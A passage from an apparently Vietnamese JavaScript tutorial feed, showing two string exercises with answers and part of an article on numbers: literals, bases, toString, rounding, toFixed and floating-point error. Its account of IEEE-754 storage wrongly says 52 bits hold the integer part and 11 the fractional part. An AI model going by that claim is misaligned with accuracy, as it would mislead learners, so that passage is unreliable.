0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Viết hàm <code>upperFirst(str)</code> nhận vào tham số là string <code>str</code> và trả về string mới với kí tự đầu tiên được viết hoa, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> s <span class="token operator">=</span> <span class="token function">upperFirst</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// định nghĩa hàm</span> <span class="token keyword">function</span> <span class="token function">upperFirst</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu tham số truyền vào là empty thì trả về chính nó</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>str<span class="token punctuation">)</span> <span class="token keyword">return</span> str<span class="token punctuation">;</span> <span class="token keyword">return</span> str<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> str<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> s <span class="token operator">=</span> <span class="token function">upperFirst</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết hàm <code>extractMoney(value)</code> nhận vào <code>value</code> là string biểu diễn tiền với đơn vị đô la <code>$</code> ở đầu (ví dụ <code>"$1000"</code>) và trả về số tiền (ví dụ <code>1000</code>).</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// định nghĩa hàm</span> <span class="token keyword">function</span> <span class="token function">extractMoney</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>str<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token operator">+</span>str<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> money <span class="token operator">=</span> <span class="token function">extractMoney</span><span class="token punctuation">(</span><span class="token string">"$1000"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>money<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1000</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Kiểu dữ liệu number trong JavaScript]]><![CDATA[Có hai kiểu dữ liệu liên quan đến number trong JavaScript là: number thông thường và bigInt. Number thông thường được lưu dưới dạng số thực dấu phẩy động theo chuẩn IEEE-754 với độ…]]>https://completejavascript.com/kieu-du-lieu-number-trong-javascript/https://completejavascript.com/kieu-du-lieu-number-trong-javascript/<![CDATA[Kiểu dữ liệu]]>Thu, 25 May 2017 20:00:00 GMT<p>Có hai kiểu dữ liệu liên quan đến <strong>number trong JavaScript</strong> là: number thông thường và bigInt.</p> <ol> <li>Number thông thường được lưu dưới dạng <strong>số thực dấu phẩy động</strong> theo chuẩn <a href="https://vi.wikipedia.org/wiki/S%E1%BB%91_th%E1%BB%B1c_d%E1%BA%A5u_ph%E1%BA%A9y_%C4%91%E1%BB%99ng#IEEE_754:_chu%E1%BA%A9n_d%E1%BA%A5u_ph%E1%BA%A9y_%C4%91%E1%BB%99ng_trong_m%C3%A1y_t%C3%ADnh_ng%C3%A0y_nay">IEEE-754</a> với <strong>độ chính xác kép</strong>.</li> <li>BigInt là kiểu dữ liệu dùng để biểu diễn <strong>số nguyên với độ dài tùy ý</strong>. Số bigInt được sử dụng trong một số trường hợp cần biểu diễn số nguyên lớn. Vì số thông thường không thể lớn hơn <code>2<sup>53</sup></code> và nhỏ hơn <code>-2<sup>53</sup></code>.</li> </ol> <p>Kiểu <strong>bigInt</strong> là kiểu số đặc biết nên mình sẽ tìm hiểu sau. Bài viết này chỉ tập trung vào <strong>number thông thường</strong>.</p> <h2 id="cách-khác-để-biểu-diễn-number-trong-javascript" style="position:relative;"><a href="#c%C3%A1ch-kh%C3%A1c-%C4%91%E1%BB%83-bi%E1%BB%83u-di%E1%BB%85n-number-trong-javascript" aria-label="cách khác để biểu diễn number trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách khác để biểu diễn number trong JavaScript</h2> <p>Giả sử bạn cần biểu diễn số 1 tỷ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> oneBillion <span class="token operator">=</span> <span class="token number">1000000000</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu bạn chỉ nhìn qua thì rất khó nhận biết đó là số 1 tỷ. Có thể bạn sẽ phải <strong>đếm xem có bao nhiêu số 0</strong> trong đó.</p> <p>Thay vì phải đếm như vậy, JavaScript cho phép bạn sử dụng kí tự gạch chân <code>_</code> để phân tách các chữ số:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> oneBillion <span class="token operator">=</span> <span class="token number">1_000_000_000</span><span class="token punctuation">;</span></code></pre></div> <p>Rõ ràng cách viết này <strong>dễ nhìn hơn</strong>. Và kết quả thì vẫn không thay đổi. Vì <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript engine</a> sẽ bỏ qua, không xử lý kí tự <code>_</code> trong number.</p> <p>Trong thực tế cuộc sống, chúng ta thường không muốn viết hết các chữ số <code>0</code> mà thường viết tắt, ví dụ: 1000 thành 1K, 1000000 thành 1M,...</p> <p>Với JavaScript cũng vậy, bạn có thể dùng chữ cái <code>e</code> để biểu diễn số lượng chữ số <code>0</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1e3</span><span class="token punctuation">;</span> <span class="token comment">// 1_000 - 1 nghìn</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">1e6</span><span class="token punctuation">;</span> <span class="token comment">// 1_000_000 - 1 triệu</span> <span class="token keyword">let</span> c <span class="token operator">=</span> <span class="token number">1e9</span><span class="token punctuation">;</span> <span class="token comment">// 1_000_000_000 - 1 tỷ</span> <span class="token keyword">let</span> d <span class="token operator">=</span> <span class="token number">4.6e9</span><span class="token punctuation">;</span> <span class="token comment">// 4_600_000_000 - 4.6 tỷ</span></code></pre></div> <p>Nói cách khác, <code>eN</code> thực hiện <strong>nhân số</strong> (trước <code>e</code>) bởi với số <strong>10 mũ N</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token number">1e3</span> <span class="token operator">===</span> <span class="token number">1</span> <span class="token operator">*</span> <span class="token number">1000</span><span class="token punctuation">;</span> <span class="token comment">// e3 tương đương *1000</span> <span class="token number">1.23e4</span> <span class="token operator">===</span> <span class="token number">1.23</span> <span class="token operator">*</span> <span class="token number">10000</span><span class="token punctuation">;</span> <span class="token comment">// e4 tương đương *10000</span></code></pre></div> <p>Tương tự, bạn cũng có thể dùng <code>e</code> để biểu diễn những số rất nhỏ bằng cách thay <code>N</code> ở trên bằng số âm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token number">0.000001</span> <span class="token operator">===</span> <span class="token number">1e-6</span><span class="token punctuation">;</span></code></pre></div> <p>Nói cách khác, <code>e-N</code> thực hiện <strong>chia số</strong> (trước <code>e</code>) bởi số <strong>10 mũ N</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token number">1e-3</span> <span class="token operator">===</span> <span class="token number">1</span> <span class="token operator">/</span> <span class="token number">1000</span><span class="token punctuation">;</span> <span class="token comment">// e3 tương đương /1000</span> <span class="token number">1.23e-4</span> <span class="token operator">===</span> <span class="token number">1.23</span> <span class="token operator">/</span> <span class="token number">10000</span><span class="token punctuation">;</span> <span class="token comment">// e4 tương đương /10000</span></code></pre></div> <h3 id="biểu-diễn-số-ở-hệ-cơ-số-16-8-và-2" style="position:relative;"><a href="#bi%E1%BB%83u-di%E1%BB%85n-s%E1%BB%91-%E1%BB%9F-h%E1%BB%87-c%C6%A1-s%E1%BB%91-16-8-v%C3%A0-2" aria-label="biểu diễn số ở hệ cơ số 16 8 và 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biểu diễn số ở hệ cơ số 16, 8 và 2</h3> <p>Các số mình thường viết trên đây là biểu diễn ở hệ thập phân (cơ số 10). Ngoài ra, bạn có thể biểu diễn number trong JavaScript ở hệ thập lục phân (cơ số 16), bát phân (cơ số 8) và nhị phân (cơ số 2).</p> <ul> <li>Hệ thập lục phân sử dụng tiền tố là <code>0x</code>.</li> <li>Hệ bát phân sử dụng tiền tố là <code>0o</code>.</li> <li>Hệ nhị phân sử dụng tiền tố là <code>0b</code>.</li> </ul> <p>Ví dụ biểu diễn số ở hệ 16, 8 và 2 là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Hệ cơ số 16</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 255</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 255 - không phân biệt hoa thường</span> <span class="token comment">// Hệ cơ số 8</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0o377</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 255</span> <span class="token comment">// Hệ cơ số 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0b11111111</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 255</span></code></pre></div> <h2 id="phương-thức-tostringbase" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-tostringbase" aria-label="phương thức tostringbase permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>toString(base)</code></h2> <p>Phương thức <code>num.toString(base)</code> trả về string biểu diễn số <code>num</code> ở hệ cơ số <code>base</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token number">255</span><span class="token punctuation">;</span> <span class="token comment">// chuyển sang hệ cơ số 16</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ff</span> <span class="token comment">// chuyển sang hệ cơ số 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 11111111</span></code></pre></div> <p>Trong đó, <code>base</code> có giá trị nằm trong đoạn <strong>từ 2 đến 36</strong>. Mặc định, <code>base</code> là <strong>10</strong>.</p> <p>Một số trường hợp phổ biến:</p> <ul> <li><code>base=16</code> hay dùng để biểu diễn <strong>mã màu hexa</strong>, string đã được encode,... với các chữ số từ <code>0..9</code> hoặc <code>A-F</code> (không phân biệt hoa thường).</li> <li><code>base=2</code> thường dùng để debug các số sử dụng trong <a href="/toan-tu-la-gi-toan-tu-trong-javascript/">toán tử bitwise</a>... với các chữ số là <code>0</code> hoặc <code>1</code>.</li> <li><code>base=36</code> là giá trị lớn nhất, thường được dùng để biểu diễn các số dài thành dạng ngắn gọn hơn, với các chữ số từ <code>0..9</code> và <code>A..Z</code>, ví dụ:</li> </ul> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">console.log(1234567890..toString(36)); // kf12oi</code></pre></div> <blockquote> <p>💡 <strong>Chú ý:</strong> cách viết dùng hai dấu chấm <code>..</code> như trên <strong>không phải lỗi chính tả</strong>. Nếu bạn muốn gọi <a href="/phuong-thuc-cua-kieu-nguyen-thuy/">phương thức của number</a>, ví dụ <code>toString()</code>, bạn cần phải dùng <strong>hai dấu chấm</strong>.</p> </blockquote> <p>Nếu bạn dùng <strong>một dấu chấm</strong> thì sẽ có lỗi cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1234567890.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught SyntaxError: Invalid or unexpected token</span></code></pre></div> <p>Bởi vì, JavaScript hiểu rằng sau dấu <code>.</code> đầu tiên là <strong>phần thập phân</strong> của số thực. Mà đằng sau <code>.</code> lại là <code>toString</code> thì chắc chắn sai cú pháp.</p> <p>Ngược lại, khi bạn viết hai dấu chấm <code>..</code>, JavaScript ngầm định phần thập phân là <strong>rỗng</strong>, rồi sau đó đến phương thức.</p> <p>Nói cách khác, cách viết hai dấu chấm <code>..</code> tương đương với cách viết sử dụng <code>()</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">//console.log(1234567890..toString(36)); // kf12oi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">1234567890</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kf12oi</span></code></pre></div> <blockquote> <p>💡 Để code rõ ràng và an toàn hơn, bạn nên sử dụng <code>()</code>.</p> </blockquote> <h2 id="làm-tròn-number-trong-javascript" style="position:relative;"><a href="#l%C3%A0m-tr%C3%B2n-number-trong-javascript" aria-label="làm tròn number trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Làm tròn number trong JavaScript</h2> <p>Một trong những phép toán <strong>hay sử dụng với number</strong> trong JavaScript nhất là <strong>làm tròn số</strong>. JavaScript có sẵn một số hàm giúp bạn làm tròn số như:</p> <p>► <code>Math.floor</code>:</p> <p>Từ <strong>floor</strong> dịch ra là <strong>sàn nhà</strong> - suy ra hàm <code>Math.floor</code> dùng để <strong>làm tròn xuống</strong>. Ví dụ: <code>3.1</code> trở thành <code>3</code> và <code>-1.1</code> trở thành <code>-2</code>.</p> <p>► <code>Math.ceil</code>:</p> <p>Từ <strong>ceil</strong> dịch ra là <strong>trần nhà</strong> - suy ra hàm <code>Math.ceil</code> dùng để <strong>làm tròn lên</strong>. Ví dụ: <code>3.1</code> trở thành <code>4</code> và <code>-1.1</code> trở thành <code>-1</code>.</p> <p>► <code>Math.round</code>:</p> <p>Hàm này trả về <strong>số nguyên gần nhất</strong> (có thể làm tròn lên hoặc làm tròn xuống). Ví dụ: <code>3.1</code> trả về <code>3</code>, <code>3.6</code> trở thành <code>4</code> và giá trị ở giữa <code>3.5</code> cũng trở thành <code>4</code>.</p> <p>► <code>Math.trunc</code> (không hỗ trợ bởi trình duyệt <strong>IE</strong>):</p> <p>Hàm này trả về số nguyên bằng cách xóa bỏ đi tất cả thành phần sau dấu phẩy. Ví dụ: <code>3.1</code> trở thành <code>3</code> và <code>-1.1</code> trở thành <code>-1</code>.</p> <p>Trên đây là những hàm giúp <strong>làm tròn thành số nguyên</strong>. Vậy làm sao để <strong>làm tròn thành số thực</strong> với chính xác <code>n</code> chữ số sau dấu phẩy.</p> <p><strong>Ví dụ: làm sao để làm tròn số <code>1.2345</code> thành <code>1.23</code> (2 chữ số sau dấu phẩy)?</strong></p> <p>Có <strong>hai cách</strong> để giải quyết vấn đề trên.</p> <ol> <li>Phương pháp <strong>nhân-rồi-chia</strong>:</li> </ol> <p>Ví dụ để làm tròn 2 chữ số sau dấu phẩy, bạn nhân số ban đầu với <code>100</code> (2 chữ số <code>0</code>). Sau đó, bạn dùng <code>Math.round</code> để làm tròn kết quả về số nguyên gần nhất. Cuối cùng, bạn chia kết quả cho <code>100</code> sẽ thu được kết quả như mong muốn.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1.2345</span><span class="token punctuation">;</span> <span class="token comment">// a nhân với 100</span> <span class="token keyword">let</span> b <span class="token operator">=</span> a <span class="token operator">*</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token comment">// 123.45</span> <span class="token comment">// làm tròn b với Math.round</span> <span class="token keyword">let</span> c <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">round</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 123</span> <span class="token comment">// chia c cho 100</span> <span class="token keyword">let</span> d <span class="token operator">=</span> c <span class="token operator">/</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token comment">// bằng 123 / 100</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1.23</span></code></pre></div> <ol start="2"> <li>Sử dụng phương thức <code>toFixed(n)</code>:</li> </ol> <p>Phương thức này sẽ làm tròn số và <strong>trả về string</strong> với chính xác <code>n</code> chữ số sau dấu phẩy.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1.2345</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "1.23"</span></code></pre></div> <p>Trường hợp phần thập phân không đủ <code>n</code> chữ số thì phương thức <code>toFixed(n)</code> tự động thêm các chữ số <code>0</code> phía sau cho đủ <code>n</code> chữ số.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1.2345</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "1.234500"</span></code></pre></div> <p>Để <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> string về number, bạn có thể dùng hàm <code>Number()</code> hoặc toán tử một ngôi <code>+</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1.2345</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> a<span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "1.23"</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> c <span class="token operator">=</span> <span class="token function">Number</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span> <span class="token keyword">typeof</span> c<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1.23 number</span></span></code></pre></div> <h2 id="sai-số-với-number-trong-javascript" style="position:relative;"><a href="#sai-s%E1%BB%91-v%E1%BB%9Bi-number-trong-javascript" aria-label="sai số với number trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sai số với number trong JavaScript</h2> <p>Trong JavaScript, số thông thường được biểu diễn dưới dạng số thực dấu phẩy động theo chuẩn <strong>IEEE-754</strong>. Định dạng này sử dụng <strong>64 bit</strong> để lưu trữ một số, trong đó:</p> <ul> <li><strong>52 bit</strong> dùng để lưu trữ các chữ số phần nguyên.</li> <li><strong>11 bit</strong> để lưu trữ phần thập phân.</li> <li><strong>1 bit</strong> để lưu trữ dấu (<code>0</code> - số dương và <code>1</code> - số âm).</li> </ul> <p>Nếu một số quá lớn, <strong>vượt ngoài khả năng biểu diễn của 64 bit</strong> thì sẽ trở thành <code>Infinity</code> hoặc <code>-Infinity</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1e500</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Infinity</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1e500</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -Infinity</span></code></pre></div> <p>Đối với các số thực, một vấn đề thường xuyên xảy ra là <strong>sự sai số</strong>.</p> <p>Một ví dụ kinh điển:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0.1</span> <span class="token operator">+</span> <span class="token number">0.2</span> <span class="token operator">===</span> <span class="token number">0.3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Kết quả là <code>false</code> vì thực tế <code>0.1 + 0.2</code> bằng số khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0.1</span> <span class="token operator">+</span> <span class="token number">0.2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.30000000000000004</span></code></pre></div> <p>Hiểu đơn giản là: khi <strong>biểu diễn số thực dưới dạng nhị phân</strong> trong máy tính, không có cách nào để biểu diễn chính xác số <code>0.1</code> và <code>0.2</code>. Dẫn đến kết quả bị sai số như trên.</p> <p>Ví dụ mình sử dụng phương thức <code>toFixed(20)</code> để xem giá trị thực sự của các số thế nào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">0.1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">20</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.10000000000000000555</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">0.2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">20</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0.20000000000000001110</span></code></pre></div> <p>Rõ ràng là chúng không thực sự bằng <code>0.1</code> và <code>0.2</code>.</p> <p>Để giải quyết vấn đề này, bạn có thể sử dụng phương pháp <strong>nhân-rồi-chia</strong> hoặc phương thức <code>toFixed(1)</code> như mình đã đề cập ở trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">0.1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">0.2</span><span class="token punctuation">;</span> <span class="token comment">// Sử dụng nhân-rồi-chia</span> <span class="token keyword">let</span> sum1 <span class="token operator">=</span> <span class="token punctuation">(</span>a <span class="token operator">*</span> <span class="token number">10</span> <span class="token operator">+</span> b <span 